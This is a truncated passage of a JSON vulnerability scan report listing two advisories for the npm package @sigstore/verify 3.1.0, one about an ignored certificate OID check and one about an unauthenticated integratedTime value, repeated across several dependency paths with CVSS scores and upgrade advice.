"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub 